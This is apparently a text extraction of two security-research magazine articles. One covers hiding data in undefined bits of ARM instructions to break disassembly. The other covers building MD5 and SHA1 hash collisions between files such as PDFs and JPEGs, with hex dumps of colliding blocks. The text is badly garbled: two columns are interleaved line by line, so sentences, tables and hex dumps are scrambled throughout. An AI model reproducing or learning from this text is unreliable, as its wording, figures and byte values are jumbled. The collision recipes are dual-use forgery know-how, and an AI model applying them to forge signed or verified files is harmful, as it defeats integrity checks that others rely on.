by Eric Davisson
I’m here today to tell you fine folks about a re- The Concept
cent adventure with the ARM architecture, in which
I scrambled the undefined bits of instructions to For the register form of the MOV command (MOV Rd,
break disassembly without breaking the program’s Rm), we have the 32 bits shown in Figure 1.
execution. As I’ve mentioned before, those first four bits
ARM was something I hadn’t touched, so I dug specify under what condition to execute this MOV in-
up an old Raspberry Pi and what looked to be a struction. The next three bits, 000, put this instruc-
great online resource for learning assembly language, tion into the Data-processing (register) category, a
specifically for the Pi. Although it had one handy fairly common one. Other categories include Load-
section on GPIO at the end, this book turned out /Store, Media, Branch, and Co-processor. The next
to be terrible. five (really four) bits of 1101x puts us into a sub-sub-
Fed up with shallow introductions, I registered category of Moves, Shifts, and Rotates. The
with ARM and downloaded the 2,700 page manual. two bits near the end further divide this into either
I had to admire the structure and order of the in- a MOV or LSL. The five bits of 00000 is what defines
struction encodings. For the 32-bit form, each in- this as a specific instruction of MOV (register). We
struction is exactly 32 bits, rather than varying from then have the Rd and Rm fields, which just specify
1 to 15 bytes like x86. Most instructions are condi- which of the 16 registers to use. Finally the S bit
tional, and the first four bits define the conditions. defines whether the condition flags are set or not
(0b1110 is the default for unconditional execution.) after the instruction is executed.
When browsing the alphabetical instruction list and Well, we skipped a piece! Nothing explained
instruction encoding parts of the manual, I saw that what the (0)(0)(0)(0) bits were. So let’s flip some
certain bit fields even subdivided instructions into and try it out!
different categories. Some bits then define the spe- In GNU’s as assembler, you use the .word direc-
cific instruction, and after that, you’re pretty much tive to place an arbitrary 32-bit piece of data where
left with the operand data fields. an instruction might go.14 This is a valid instruc-
tion of MOV r0, pc, defined in 0b form so that we
can see the individual bits.
. word 0 b 1 1 1 0 0 0 0 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1
1 . word 0 b 1 1 1 0 0 0 0 1 1 0 1 0 0 0 0 1 0 0 0 0 0 0 0 0 1 1 1 1
14 Editor’s Note: All instructions in this article are presented as 32-bit words, rather than as bytes, to better match the ARM
manual’s descriptions.
15 rasm2 -e -a arm -D "e1a0000f e1a1000f"
17
I put both of those instructions in my program it worked flawlessly. At this point the generaliza-
for comparison, finding that both gdb and objdump tions seem to hold, but I had only tested against
failed to disassemble it.15 one program.
Still, I wondered if by changing this bits from
one instruction, I might convert it to some other in-
1 0 x10420 main+24 mov r0 , pc
0 x10424 main+28 ;<UNDEFINED> i n s : 0 x e 1 a 1 0 0 0 f
struction. To assure myself, I checked by having a
script definitively investigate every encoding. Based
on the encodings in the ARM manual, there should
be no overlap here.
Even though the disassembler shows the second Just for safe measure I tested a few other pro-
instruction as undefined, both of them behave iden- grams. My favorite was modifying a quarter of
tically, moving PC+4 into r0! objdump, then feeding it itself as an argument to
At this point, a false prophet might declare that show it report that quarter of its own instructions
wherever an instruction matches one with undefined are undefined.
bits, we can flip these bits without changing the be-
havior of the program. And like many things a false
prophet might say, this is almost true, but lacking When it Literally isn’t Code!
one or two important details. Here, the details mat- So now that I was executing modified code, I still
ter. needed to know whether these invalid instructions
ever occurred naturally in the wild. So I loosened up
ARM Wrestling the parsing for my profiler script to not just match
on the valid instruction encodings, but invalid ones
I call my PoC ARMaHYDAN, to pay tribute to too.
the 2004 HYDAN stego tool for x86 by El-Khalil The answer to my question was disturbing: there
and Keromytis.16 Like many readers of this fine were many of these illegal instructions in the wild! I
journal, I am not interested in steganography as a later found the rate of this occurrence to be evenly
tool to hide information; rather, I love the idea that distributed from 0-13%. It would get much higher
file formats–and also instruction sets!–have hidden for libraries. I knew something was off about this,
nooks and crannies ignored by their interpreters. as it just wouldn’t make sense for assemblers to do
First I cataloged all of the instructions that had this on purpose. Something else was going on.
these optional bits. From four hundred or so in- I finally got a hint when my script began to
structions, ignoring conditional codes, only 141 in- break, and the breaking change was that I was now
structions had these bits. matching on all forms of instructions, and not just
The first script I wrote flipped the last optional the validly defined ones. Why would it be safe to
bit for all valid instructions in an executable. I did change any valid instruction, but not these ten per-
this to /usr/games/worm in the bsdgames package, cent of already-invalid ones? It turns out I made
because I like that game. My script used readelf one of the biggest assumption of all, that the .text
to locate and parse the offset and size of the .text section is pure code!
section; as I only wanted to flip the bits for the code So here’s what happened: In fixed-width instruc-
of the program. tion sets like ARM and PowerPC, there is no room
About a quarter of the output’s .text section in the instruction for a register-wide pointer. ARM
appeared to be undefined! I then ran the game, and solves this problem by placing a pool of literals into
16 unzip pocorgtfo19.pdf hydan.pdf hydan-0.13.tar.gz
31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|09|08|07|06|05|04|03|02|01|00
2 cond | 0 0 0| 1 1 0 1| S |(0) (0) (0) (0) Rd | 0 0 0 0 0| 0 0| 0| Rm
18
the code, then referencing that location with fewer To really understand the situation, I wrote a pro-
bits, relative to the program counter. filer script to run against my entire Raspbian in-
So when you see ldr r2, =0xdeadbeef in the stallation. It showed that these false positives were
disassembly, you will also see 0xdeadbeef as a lit- distributed across more than half the possible in-
eral later in the code. These four bytes are not an struction set! It was also evenly distributed enough
instruction, but they are in the .text section, and to not be able to justify blacklisting a couple of in-
its important not to damage them. structions and hoping for the best.
Well, that’s in the context of statically black-
Not Solving the Code/Data Problem listing some instructions. I considered running an
initial profiling pass of the program I’m trying to
This means I ran into a very old problem, the code modify to tally the invalid instructions (most likely
versus data problem. My early tests worked out of data) and keep track of this as a blacklist and store
luck, but that luck ran out when I loosened up the it as metadata. The dynamically blacklisted instruc-
parser can began modifying words in the .text sec- tions could be ignored for injecting data into, and
tion that were not code. the extracting routine could look to the blacklist in
I noticed these false positive instructions did not metadata to not extract data from those instruc-
show up in a consistent frequency; some of them tions. One downside to this is that more metadata
occurred way more than others. For a while it is at the cost of how much data I can inject.
only seemed that two or three problem instructions Then I realized that I could encode the entire
seemed to show up, so I took them out of my script blacklist in just one byte, by prioritizing the instruc-
and everything worked after that. But still, only for tions. The byte would simply be the number of high-
the small subset of programs I was modifying and trouble matches to skip.
testing. I profiled my whole system for a list of instruc-
tions based on frequency in a few contexts. The first
is just the occurrence of instructions period. This
found the top five instructions with optional bits to
be MOV (register), CMP (immediate), MOV (immedi-
ate), CMP (register), and LSL (immediate). The top
fife for false positives, that are actually data, with
option bits are LDRD (register), STRD (register), STRH
(register), MUL, and MRS.
We aren’t so lucky that the full lists are mutually
exclusive, but they are certainly dissimilar enough to
truly minimize the second data loss problem. This
is because the instructions I’m actually blacklisting
are in the minority of instructions that are actu-
ally valid and therefore used. We are losing only a
marginal amount of storage space for our injection!
Comparing my top ten lists, the MUL instruction
is the only one in both my top ten lists, ranked
fourth for false positives but tenth for popularity,
making up less than one percent of valid instruc-
tions. By choosing the right threshold, these lists
oughtn’t conflict or get in the way of our storage.
19
Steganalysis Native Assembly Modified
e10100d0 ldrd r0, [r1, -r0] e10101d0
As I said in the very beginning, using rare machine e10100f0 strd r0, [r1, -r0] e10101f0
encodings to inject data for steganography is easily e10100b0 strh r0, [r1, -r0] e1010fb0
detectable. The concept in HYDAN was that there e0100090 muls r0, r0, r0 e0101090
are different (valid) ways to encode the same assem- e11000d0 ldrsb r0, [r0, -r0] e11001d0
bly instruction, partly because of how messed up e11000b0 ldrh r0, [r0, -r0] e11001b0
things get with x86’s MODRM/SIB tables and redun- e11000f0 ldrsh r0, [r0, -r0] e11001f0
dancies introduced with not being able to do mem- e1100080 tst r0, r0, lsl #1 e1101080
ory to memory operand instructions. (These are just e3100080 tst r0, #128 e3101080
two basic reasons; there are more.) e1500080 cmp r0, r0, lsl #1 e1501080
Take xor eax, eax for example. There is an e1300080 teq r0, r0, lsl #1 e1301080
encoding for xor r32m32, r32 and also one for xor e1700080 cmn r0, r0, lsl #1 e1701080
r32, r32m32. In other words, there’s a variation for e3700080 cmn r0, #128 e3701080
a pointer being the first or second operand depend- e3300080 teq r0, #128 e3301080
ing on the encoding, even though you can choose a e1100010 tst r0, r0, lsl r0 e1101010
register for both. So if you did just choose a register e3500080 cmp r0, #128 e3501080
for both, which encoding do you use? Assemblers e1400090 swpb r0, r0, [r0] e1400190
will prefer only one in this kind of situation, even e1700010 cmn r0, r0, lsl r0 e1701010
though both execute in a valid way. A steganogra- e1500010 cmp r0, r0, lsl r0 e1501010
pher could use this information to call one encoding e1300010 teq r0, r0, lsl r0 e1301010
a 1, and the other a 0, and encode data with this f1010000 setend le f1010401
method. But knowing that, if I suspect an x86 pro- e1200050 qsub r0, r0, r0 e1200150
gram to be stego’d, the first thing I would check for e03000b0 ldrht r0, [r0], -r0 e03001b0
is the uncommonly encoded instructions like that. e03000d0 ldrsbt r0, [r0], -r0 e03001d0
The situation is no different for ARMaHYDAN. e03000f0 ldrsht r0, [r0], -r0 e03001f0
Invalid instructions, whether data or stego, ought e12000a0 smulwb r0, r0, r0 e12010a0
to be less than 13% of all 32-bit words in the .text ... ... ...
section, and by carefully observing which ones are
executed, it oughtn’t be hard to identify the exis- Figure 2. ARM Instructions with a Null Byte
tence of hidden content.
20
19:05 An MD5 Pileup Fit for Jake and Elwood
by Albertini and Stevens
This article is about applying known hash colli- While we can’t yet generate a file for an arbi-
sions to common file formats. It is not about new trary MD5 hash, we can generate identical prefix
collisions—the most recent one we’ll discuss was doc- collisions (FastColl, UniColl, SHAttered) and even
umented in 2012—but instead focuses on the byte chosen prefix collisions (HashClash). Because both
patterns techniques that are exploited in the present hashed and file formats often run from beginning to
attacks and are likely to continue being useful for fu- end, these prefixes can be freely reused after gen-
ture ones. eration to produce two arbitrary files that obey a
We’ll extensively explore existing attacks, show- specific file format (PNG, JPG, PE, etc.) with the
ing once again just how weak MD5 is (instant col- same hash.
lisions of any of JPG, PNG, PDF, MP4, PE, etc.), As an extreme example, making two different
and will also explore how the common file format files with the same SHA1 took 6,500 core years, but
features help the attacker construct colliding files. now that those prefixes have been computed, we can
Indeed, the same file format tricks can be used on instantly produce two different PDFs with the same
several hashes, as long as the collisions follow the SHA1 hash that show different pictures.21
same byte patterns. Compare, for instance, the
JPEG tricks from PoCkGTFO 14:10 and the ma-
Attacks
licious SHA1 collision from the SHAttered project.
Follow along and we’ll learn the moves of the MD5 and SHA1 both operate on blocks of 64 bytes.
collision dance, the tricks of the trade for collid- If two content blocks A and B have the same hash,
ing different valid files so that they share a single then appending (we’ll write “+” for append) the
hash. We’ll begin by reviewing the available colli- same suffix C to both will retain equality of the total
sion techniques, then show how real world files can hash.
be abused within the constraints of the available,
practical block collisions.
hash(A) = hash(B) ⇒ hash(A + C) = hash(B + C)
State of the art Collisions of files with fixed different prefixes
There are different ways in which we may want to work by inserting at a block boundary some num-
construct colliding files, depending on whether we ber of computed collision blocks that depend on
want to control the files’ contents or the hashes what came before in the file. These collision blocks
themselves. The current status of known attacks—as are very random-looking with some minor differ-
of December 2018—is as follows: ences, which follow a specific pattern for each attack.
Generating a file that matches a specific fixed These tiny differences eventually get the hashes to
hash is still impractical with MD5 and everything converge to the same value after these blocks.
stronger. It is impractical even with MD2,20 but The key thing about file formats that makes this
can be done for simpler hashes such as Python’s method work is that file formats also work top-down,
crypt(). The following example is thanks to Sven, and most of them work are interpreted as byte-level
(@svblxyz). chunks. So the format requirements and the col-
lision block insertion can be aligned to make valid
format files with specific properties.
>>> im por t c r y p t Inert comment chunks can be inserted to align
2 >>> c r y p t . c r y p t ( " 5dUD&66" , " br " )
’ brokenOz4KxMc ’ file chunks to block boundaries, to align specific
4 >>> c r y p t . c r y p t ( "O! > ’ ,% $ " , " br " ) structures to collision blocks differences, to hide the
’ brokenOz4KxMc ’ rest of the collision blocks’ randomness from the file
parsers, and to hide otherwise valid content from the
parser, so that it will see different content.
20 unzip pocorgtfo19.pdf thomsenmd2.pdf
21 git clone https://github.com/nneonneo/sha1collider
21
These comment chunks were typically not meant would prevent PNG reusable collisions other-
to be actual comments. They are just used as data wise.
containers that are ignored by the parser. For ex-
ample, PNG chunks with a lowercase-starting ID are • Flat structure. For example, ASN.1 defines
ancillary, not critical. a parent structure with the length of all the
Most of the time, a difference in the collision enclosed substructures, which prevents these
blocks is used to modify the length of a comment constructs: you’d need to abuse the length,
chunk, which is typically declared just before the but also the length of the parent. Note, how-
data of this chunk: in the gap between the shorter ever, that this feature of ASN.1 creates multi-
and the longer version of the chunk, another com- ple sources of truth for the parsers, and puts
ment chunk is declared to jump over some content the onus of checking that all these pieces of
A. After this content A, we then simply append an- data agree on the parser itself. This is how
other content B. Since file formats usually define a you get Heartbleed.
terminator that make parsers stop when they reach
• Allowing a comment to precede the header.
it, A terminates parsing, so that the appended con-
This makes generic reusable collisions possi-
tent B is ignored.
plann
e
ble.
compd before
utatio header
n
comp comment length
utatio
resultn ion Now that we have the theory down, let’s learn
variable collis ck long short
length blo some moves.
comment
appe
nd
comp ed after
content 1 1 1 1 Identical Prefix Collisions
utatio
n
Identical prefix files look almost identical. Their
content 2
2 2 2 content have only a few bits of differences in the
collisions blocks. All blocks before the collision are
common file 1 file 2 fixed and cannot be changed without recomputing
layout
Typically, at least two comments are needed: one the collision, while all blocks of the suffix are mal-
for block alignment, another to hide collision blocks. leable and can altered so long as they stay equal to
A third one may be needed to hide one file’s con- those in the colliding file.
tents, for reusable collisions.
The following common properties of file formats 1. Define an arbitrary prefix. Its content and
enable the construction of colliding files. These length don’t matter.
properties are not typically seen as weaknesses, but
they can be detected or normalized out, making the 2. Pad the prefix to the next 64-byte block.
attacker’s task considerably harder:
3. Compute and append collision block(s) de-
• Dummy chunks that can be used as comments. pending on the prefix. These blocks will look
• Allowing more than one comment. very random, with the specific differences pre-
• Long comments. For example, lengths of 64b determined by the attack.
for MP4 and 32b for PNG make for trivial col-
4. After the block(s), the hash value is the same
lisions, whereas 16b for JPG, 8b for GIF make
despite the file differences.
for no generic collision for GIF, and limited
ones for JPG. 5. Add any arbitrary identical suffix as needed.
• Storage arbitrary binary data in a comment,
rather than just text or valid data.
| Prefix | = | Prefix |
• Allowing arbitrary data after the terminator. | :----: |:-:| :----: |
• A lack of integrity checks. For example, | Collision *A* |!= | Collision *B* |
CRC32 in PNGs are usually ignored, but | Suffix | = | Suffix |
22
Exploitation There are two classic ways of ex- don’t control any nearby bytes. A potential solu-
ploiting identical prefix collisions. The first is the tion is to brute-force the surrounding bytes. See
data exploit: run code that checks for differences PoCkGTFO 14:10.
and displays one or the other. (This is typically An example with an empty prefix:
trivial because differences are known in advance.)
MD5: fe6c446ee3a831ee010f33ac9c1b602c
The second is the structure exploit, which we use a SHA256: c5dd2ef7c74cd2e80a0fd16f1dd6955c
difference in the file structure, such as the length of 626b59def888be734219d48da6b9dbdd
a comment, to hide one content or show the other. 00: 37 75 C1 F1-C4 A7 5A E7-9C E0 DE 7A-5B 10 80 26
10: 02 AB D9 39
39-C9 6C 5F 02-12 C2 7F DA-CD 0D A3 B0
Here are two files with this structure, collided to
20: 8C ED FA F3-E1 A3 FD B4-EF 09 E7 FB-B1 C3 99 1D
show either A or B as determined by a switch in the 30: CD 91 C8 45-E6 6E FD 3D-C7 BB 61 52
52-3E F4 E0 38
collision. 40: 49 11 85 69-EB CC 17 9C-93 4F 40 EB-33 02 AD 20
50: A4 09 2D FB
FB-15 FA 20 1D-D1 DB 17 CD-DD 29 59 1E
| Prefix | = | Prefix | 60: 39 89 9E F6-79 46 9F E6-8B 85 C5 EF-DE 42 4F 46
| :----: |:-:| :----: | 70: C2 78 75 9D-8B 65 F4 50-EA 21 C5 59
59-18 62 FF 7B
| Collision *A* |!= | Collision *B* | 00: 37 75 C1 F1-C4 A7 5A E7-9C E0 DE 7A-5B 10 80 26
| **A** | = | ~~A~~ | 10: 02 AB D9 B9
B9-C9 6C 5F 02-12 C2 7F DA-CD 0D A3 B0
| ~~B~~ | = | **B** | 20: 8C ED FA F3-E1 A3 FD B4-EF 09 E7 FB-B1 43 9A 1D
30: CD 91 C8 45-E6 6E FD 3D-C7 BB 61 D2
D2-3E F4 E0 38
40: 49 11 85 69-EB CC 17 9C-93 4F 40 EB-33 02 AD 20
PREFIX
50: A4 09 2D 7B
7B-15 FA 20 1D-D1 DB 17 CD-DD 29 59 1E
art
ical p
Ident controL)
60: 39 89 9E F6-79 46 9F E6-8B 85 C5 EF-DE C2 4E 46
r
(unde
70: C2 78 75 9D-8B 65 F4 50-EA 21 C5 D9
D9-18 62 FF 7B
MD5: fe6c446ee3a831ee010f33ac9c1b602c
SHA256: e27cf3073c704d0665da42d597d4d201
File a 31013204eecb6372a5bd60aeddd5d670
s
mnes
? Rando You will find other examples, with an identical
prefix in fastcoll1.bin and fastcoll2.bin. A
File B variant of this is the single-block MD5 collision, but
that takes five weeks of computation!22
Suffix
art
ical p
Ident controL)
r
(unde
Unicoll This technique was documented in 2012
in Marc Stevens’ Ph.D. thesis, “Attacks on Hash
Functions and Applications.” 23 The implementation
from 2017 is on Github.24
FastColl The final version of FastColl is from
2009. Here is its scorecard and a quick print of UniColl lets you control a few bytes in the col-
its difference mask, which describes which nybbles lision blocks, before and after the first difference.
of the block might change and which must remain This makes it an identical-prefix collision with some
fixed. controllable differences, the next best thing to a cho-
sen prefix collision. This is very handy, and even
Time: a few seconds of computation
better, the difference can be very predictable: in
Space: two blocks
Differences: no control before, no control after. the case of m2+= 2^8 (a.k.a. N=1 / m2 9 in Hash-
exploitation: hard Clash poc_no.sh script), the difference is +1 on the
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ninth byte. This makes it very useful in exploita-
.. .. .. X. .. .. .. .. .. .. .. .. .. .. .. .. tion, as you can reason about the collision in your
.. .. .. .. .. .. .. .. .. .. .. .. .. X. .X .. head: the ninth character of that sentence will be
.. .. .. .. .. .. .. .. .. .. .. X. .. .. .. ..
replaced with the next one. 0 is replaced by 1, a is
The differences aren’t near the start or the end replaced by b, and so on.
of the blocks, so it’s very hard to exploit since you Here are its scorecard and a map of differences.
22 https://marc-stevens.nl/research/md5-1block-collision/
23 unzip pocorgtfo19.pdf stevensthesis.pdf
24 git clone https://github.com/cr-marcstevens/hashclash && emacs hashclash/scripts/poc_no.sh
23
Time: a few minutes (depending on the number Differences:
of bytes you want to control)
Space: two blocks .. .. .. DD ?? ?? ?? ??
Exploitation: Very easy: controlled bytes before and or
after the difference, and the difference
is predictable. The only restrictions are
?? ?? ?? DD .. .. .. ..
alignment and that you only control ten
bytes after the difference. The difference between collision blocks of each
side is this Xor mask, with the practical collision
shown in Figure 3.
.. .. .. .. DD .. .. .. ..
.. .. .. .. +1 .. .. .. .. 0c 00 00 02 c0 00 00 10 b4 00 00 1c 3c 00 00 04
bc 00 00 1a 20 00 00 10 24 00 00 1c ec 00 00 14
0c 00 00 02 c0 00 00 10 b4 00 00 1c 2c 00 00 04
An example with N = 1 and 20 bytes of set text in bc 00 00 18 b0 00 00 10 00 00 00 0c b8 00 00 10
the collision blocks:
UniColl 1 00: 55 6E 69 43-6F 6C 6C 20-31 20 70 72-65 66 69 78 pocorgtfo18.pdf uses the computed SHA1 pre-
Prefix 10: 20 32 30 62-F5 48 34 B9-3B 1C 01 9F-C8 6B E6 44 fixes, reusing the image directly from PDFLATEX’s
20: FE F6 31 3A-63 DB 99 3E-77 4D C7 5A-6E B0 A6 88 source, but also checking the value of the prefixes
30: 04 05 FB 39-33 21 64 BF-0D A4 FE E2-A6 9D 83 36
40: 4B 14 D7 F2-47 53 84 BA-12 2D 4F BB-83 78 6C 70
via JavaScript in the HTML page. The file is a
50: C6 EB 21 F2-F6 59 9A 85-14 73 04 DD-57 5F 40 3C polyglot, valid as a ZIP, HTML, and PDF. (See
60: E1 3F B0 DB-E8 B4 AA B0-D5 56 22 AF-B9 04 26 FC PoCkGTFO 18:10.)
70: 9F D2 0C 00-86 C8 ED DE-85 7F 03 7B-05 28 D7 0F
24
=
File 1 File 2
000: 2550 4446 2d31 2e33 0a25 e2e3 cfd3 0a0a %PDF-1.3.%...... PDF header 2550 4446 2d31 2e33 0a25 e2e3 cfd3 0a0a %PDF-1.3.%......
010: 0a31 2030 206f 626a 0a3c 3c2f 5769 6474 .1 0 obj.<</Widt 0a31 2030 206f 626a 0a3c 3c2f 5769 6474 .1 0 obj.<</Widt
020: 6820 3220 3020 522f 4865 6967 6874 2033 h 2 0 R/Height 3 6820 3220 3020 522f 4865 6967 6874 2033 h 2 0 R/Height 3
Identical
030: 2030 2052 2f54 7970 6520 3420 3020 522f 0 R/Type 4 0 R/ 2030 2052 2f54 7970 6520 3420 3020 522f 0 R/Type 4 0 R/
image object
prefix
040: 5375 6274 7970 6520 3520 3020 522f 4669 Subtype 5 0 R/Fi 5375 6274 7970 6520 3520 3020 522f 4669 Subtype 5 0 R/Fi
050: 6c74 6572 2036 2030 2052 2f43 6f6c 6f72 lter 6 0 R/Color declaration 6c74 6572 2036 2030 2052 2f43 6f6c 6f72 lter 6 0 R/Color
060: 5370 6163 6520 3720 3020 522f 4c65 6e67 Space 7 0 R/Leng 5370 6163 6520 3720 3020 522f 4c65 6e67 Space 7 0 R/Leng
070: 7468 2038 2030 2052 2f42 6974 7350 6572 th 8 0 R/BitsPer 7468 2038 2030 2052 2f42 6974 7350 6572 th 8 0 R/BitsPer
080: 436f 6d70 6f6e 656e 7420 383e 3e0a 7374 Component 8>>.st 436f 6d70 6f6e 656e 7420 383e 3e0a 7374 Component 8>>.st
090: 7265 616d 0aff d8ff fe00 2453 4841 2d31 ream......$SHA-1 JPG header and 7265 616d 0aff d8ff fe00 2453 4841 2d31 ream......$SHA-1
comment length: 0x017f comment length: 0x0173
0a0: 2069 7320 6465 6164 2121 2121 2185 2fec is dead!!!!!./. comment declaration 2069 7320 6465 6164 2121 2121 2185 2fec is dead!!!!!./.
0b0: 0923 3975 9c39 b1a1 c63c 4c97 e1ff fe01 .#9u.9...<L..... 0923 3975 9c39 b1a1 c63c 4c97 e1ff fe01 .#9u.9...<L.....
0c0: 7f46 dc93 a6b6 7e01 3b02 9aaa 1db2 560b .F....~.;.....V. 7346 dc91 66b6 7e11 8f02 9ab6 21b2 560f sF..f.~.....!.V.
Collision
0d0: 45ca 67d6 88c7 f84b 8c4c 791f e02b 3df6 E.g....K.Ly..+=. f9ca 67cc a8c7 f85b a84c 7903 0c2b 3de2 ..g....[.Ly..+=.
blocks
0e0: 14f8 6db1 6909 01c5 6b45 c153 0afe dfb7 ..m.i...kE.S.... 18f8 6db3 a909 01d5 df45 c14f 26fe dfb3 ..m......E.O&...
0f0: 6038 e972 722f e7ad 728f 0e49 04e0 46c2 `8.rr/..r..I..F. dc38 e96a c22f e7bd 728f 0e45 bce0 46d2 .8.j./..r..E..F.
100: 3057 0fe9 d413 98ab e12e f5bc 942b e335 0W...........+.5 3c57 0feb 1413 98bb 552e f5a0 a82b e331 <W......U....+.1
110: 42a4 802d 98b5 d70f 2a33 2ec3 7fac 3514 B..-....*3....5. fea4 8037 b8b5 d71f 0e33 2edf 93ac 3500 ...7.....3....5.
=
120: e74d dc0f 2cc1 a874 cd0c 7830 5a21 5664 .M..,..t..x0Z!Vd eb4d dc0d ecc1 a864 790c 782c 7621 5660 .M.....dy.x,v!V`
130: 6130 9789 606b d0bf 3f98 cda8 0446 29a1 a0..`k..?....F). dd30 9791 d06b d0af 3f98 cda4 bc46 29b1 .0...k..?....F).
same hash at this point
230: 0000 fffe 012d 0000 0000 0000 0000 ffe0 .....-.......... 0000 fffe 012d 0000 0000 0000 0000 ffe0 .....-..........
240: 0010 4a46 4946 0001 0101 0048 0048 0000 ..JFIF.....H.H.. 0010 4a46 4946 0001 0101 0048
comments 0048 0000
chain ..JFIF.....H.H.. first image data
first image data
(ignored)
3a0: e9d6 d667 a7b0 7e65 1299 e39d 39c0 c7ff ...g..~e....9... e9d6 d667 a7b0 7e65 1299 e39d 39c0 c7ff ...g..~e....9...
3b0: d92d 2d2d 2dff e000 104a 4649 4600 0101 .----....JFIF... d92d 2d2d 2dff e000 104a 4649 4600 0101 .----....JFIF...
Suffix
3c0: 0100 4800 4800 00ff db00 4300 0101 0101 ..H.H.....C..... second image data 0100 4800 4800 00ff db00 4300 0101 0101 ..H.H.....C.....
second image data
(ignored)
4e0: 4b14 97f7 7f39 fcd7 f1ff d90a 656e 6473 K....9......ends 4b14 97f7 7f39 fcd7 f1ff d90a 656e 6473 K....9......ends
4f0: 7472 6561 6d0a 656e 646f 626a 0a0a 3220 tream.endobj..2 7472 6561 6d0a 656e 646f 626a 0a0a 3220 tream.endobj..2
500: 3020 6f62 6a0a 380a 656e 646f 626a 0a0a 0 obj.8.endobj.. 3020 6f62 6a0a 380a 656e 646f 626a 0a0a 0 obj.8.endobj..
PDF footer
840: 3e0a 0a73 7461 7274 7872 6566 0a31 3830 >..startxref.180 3e0a 0a73 7461 7274 7872 6566 0a31 3830 >..startxref.180
850: 380a 2525 454f 460a 8.%%EOF. 380a 2525 454f 460a 8.%%EOF.
Chosen-Prefix Collisions
PREFIX A XB troL
PREFI
r con
unde
Suffix
1 | A | != | B | ical
| :−−−−: | : − : | :−−−−: | ident
3 | C o l l i s i o n ∗A∗ | != | C o l l i s i o n ∗B∗ |
25
“yes” prefix: “no” prefix:
Prefix, padding Prefix, padding
000: 79 65 73 0A-3D 62 84 11-01 75 D3 4D-EB 80 93 DE 000: 6E 6F 0A E5-5F D0 83 01-9B 4D 55 06-61 AB 88 11
010: 31 C1 D9 30-45 FB BE 1E-71 F0 0A 63-75 A8 30 AA 010: 8A FA 4D 34-B3 75 59 46-56 97 EF 6C-4A 07 90 CC
020: 98 17 CA E3-A2 6B 8E 3D-44 A9 8F F2-0E 67 96 48 020: FE 19 D7 CF-6F 92 03 9C-91 AA A5 DA-56 92 C1 04
030: 97 25 A6 FB-00 00 00 00-49 08 09 33-F0 62 C4 E8 030: E6 4C 08 A3-00 00 00 00-8D B6 4E 47-FF AF 7A 3C
Collision blocks start Collision blocks start
040: D5 F1 54 CD-CA A1 42 90-7F 9D 3D 9A-67 C4 1B 0F 040: D5 F1 54 CD-CA A1 42 90-7F 9D 3D 9A-67 C4 1B 0F
050: 04 9F 19 E8-92 C3 AA 19-43 31 1A DB-DA 96 01 54 050: 04 9F 19 E8-92 C3 AA 19-43 31 1A DB-DA 96 01 54
060: 85 B5 9A 88-D8 A5 0E FB-CD 66 9A DA-4F 20 8A AA 060: 85 B5 9A 88-D8 A5 0E FB-CD 66 9A DA-4F 20 8A A9
070: BA E3 9C F0-78 31 8F D1-14 5F 3E B9-0F 9F 3E 19 070: BA E3 9C F0-78 31 8F D1-14 5F 3E B9-0F 9F 3E 19
080: 09 9C BB A9-45 89 BA A8-03 E6 C0 31-A0 54 D6 26 080: 09 9C BB A9-45 89 BA A8-03 E6 C0 31-A0 54 D6 26
090: 3F 80 4C 06-0F C7 D9 19-09 D3 DA 14-FD CB 39 84 090: 3F 80 4C 06-0F C7 D9 19-09 D3 DA 14-FD CB 39 84
0A0: 1F 0D 77 5F-55 AA 7A 07-4C 24 8B 13-0A 54 A2 BC 0A0: 1F 0D 77 5F-55 AA 7A 07-4C 24 8B 13-0A 54 B2 BC
0B0: C5 12 7D 4F-E0 5E F2 23-C5 07 61 E4-80 91 B2 13 0B0: C5 12 7D 4F-E0 5E F2 23-C5 07 61 E4-80 91 B2 13
0C0: E7 79 07 2A-CF 1B 66 39-8C F0 8E 7E-75 25 22 1D 0C0: E7 79 07 2A-CF 1B 66 39-8C F0 8E 7E-75 25 22 1D
0D0: A7 3B 49 4A-32 A4 3A 07-61 26 64 EA-6B 83 A2 8D 0D0: A7 3B 49 4A-32 A4 3A 07-61 26 64 EA-6B 83 A2 8D
0E0: BE A3 FF BE-4E 71 AE 18-E2 D0 86 4F-20 00 30 26 0E0: BE A3 FF BE-4E 71 AE 18-E2 D0 86 4F-20 00 30 22
0F0: 0A 71 DE 1F-40 B4 F4 8F-9C 50 5C 78-DD CD 72 89 0F0: 0A 71 DE 1F-40 B4 F4 8F-9C 50 5C 78-DD CD 72 89
100: BA D1 BF F9-96 80 E3 06-96 F3 B9 7C-77 2D EB 25 100: BA D1 BF F9-96 80 E3 06-96 F3 B9 7C-77 2D EB 25
110: 1E 56 70 D7-14 1F 55 4D-EC 11 58 59-92 45 E1 33 110: 1E 56 70 D7-14 1F 55 4D-EC 11 58 59-92 45 E1 33
120: 3E 0E A1 6E-FF D9 90 AD-F6 A0 AD 0E-C6
C6 D6 88 12 120: 3E 0E A1 6E-FF D9 90 AD-F6 A0 AD 0E-CA
CA D6 88 12
130: B8 74 F2 9E-DD 53 F7 88-19 73 85 39-AA 9B E0 8D 130: B8 74 F2 9E-DD 53 F7 88-19 73 85 39-AA 9B E0 8D
140: 82 BF 9C 5E-58 42 1E 3B-94 CF 5B 54-73 5F A8 4A 140: 82 BF 9C 5E-58 42 1E 3B-94 CF 5B 54-73 5F A8 4A
150: FD 5B 64 CF-59 D1 96 74-14 B3 0C AF-11 1C F9 47 150: FD 5B 64 CF-59 D1 96 74-14 B3 0C AF-11 1C F9 47
160: C5 7A 2C F7-D5 24 F5 EB-BE 54 3E 12-B0
B0 24 67 3F 160: C5 7A 2C F7-D5 24 F5 EB-BE 54 3E 12-70
70 24 67 3F
170: 01 DD 95 76-8D 0D 58 FB-50 23 70 3A-BD ED BE AC 170: 01 DD 95 76-8D 0D 58 FB-50 23 70 3A-BD ED BE AC
180: B8 32 DB AE-E8 DC 3A 83-7A C8 D5 0F-08 90 1D 99 180: B8 32 DB AE-E8 DC 3A 83-7A C8 D5 0F-08 90 1D 99
190: 2D 7D 17 34-4E A8 21 98-61 1A 65 DA-FC 9B A4 BA 190: 2D 7D 17 34-4E A8 21 98-61 1A 65 DA-FC 9B A4 BA
